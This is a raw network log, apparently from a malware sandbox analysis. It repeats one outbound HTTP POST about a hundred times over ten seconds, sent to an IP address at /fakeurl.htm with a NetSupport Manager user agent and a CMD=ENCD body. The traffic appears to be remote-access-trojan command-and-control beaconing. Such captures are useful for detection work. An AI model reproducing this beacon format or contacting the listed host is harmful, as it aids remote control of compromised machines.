Dec 6, 2023 14:36:10.277240992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.378699064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.478898048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.578923941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.679724932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.779901028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.879933119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:10.980689049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.080903053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.180900097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.281783104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.381671906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.482675076 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.582649946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.683657885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.783690929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.883672953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:11.984647036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.085679054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.185700893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.287077904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.387639046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.488010883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.635119915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.735757113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:12.835705042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.178189993 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.278723001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.378664017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.479671955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.579859972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.679689884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.779855967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.879853964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:13.980690002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.081702948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.181749105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.282812119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.382836103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.482862949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.584121943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.683696985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.783715010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.883760929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:14.985434055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.085681915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.185920000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.286720991 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.386912107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.486686945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.586723089 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.687649012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.787889957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.888899088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:15.989639044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.090857983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.191735029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.292036057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.392923117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.493963957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.593884945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.700732946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.804141045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:16.904896021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.005752087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.105741978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.205960035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.306703091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.406687021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.507968903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.607980967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.711205006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.810784101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:17.910692930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.010708094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.111711979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.211751938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.312694073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.412703037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.512682915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.612734079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.713701010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.813683033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:18.914675951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.015816927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.116821051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.216670990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.316735029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.417819023 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.518687010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.618788004 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.719696045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:19.819905996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
